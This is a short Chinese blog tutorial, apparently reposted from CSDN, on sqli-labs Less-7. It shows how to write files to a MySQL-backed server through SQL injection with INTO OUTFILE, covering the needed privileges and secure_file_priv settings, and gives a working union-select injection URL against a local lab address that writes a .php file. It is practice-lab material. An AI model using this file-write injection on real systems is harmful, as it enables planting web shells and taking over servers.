文件上传漏洞——sqli-labs第7关

条件:

1.已知对应站点的绝对路径
2.File_priv开关需要是打开状态

select file_priv from mysql.user;

在这里插入图片描述
3.secure_file_priv 不为null

  • 设置为空,对所有路径均可进行导入导出。

  • 设置为一个目录名字,只允许在该路径下导入导出。

  • 设置为Null,禁止所有导入导出。

默认是NULL,可以通过my.conf文件mysqld一栏里进行配置,配置完成后,重启便会生效。
在这里插入图片描述
在末尾加上:secure_file_priv=

在这里插入图片描述

select @@global.secure_file_priv;
但是改完之后,显示的值还是null
在这里插入图片描述
后面就是文件上传了

SELECT “123” INTO OUTFILE “c:/123.txt";

要使用联合查询写文件,不能使用and或者or拼接写文件

http://172.16.11.222/sqli-labs/Less-7/?id=-1')) union select 1,2,"hello,world" into outfile "C:/cmd.php" --+

在这里插入图片描述上传成功
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_45663905/article/details/107636673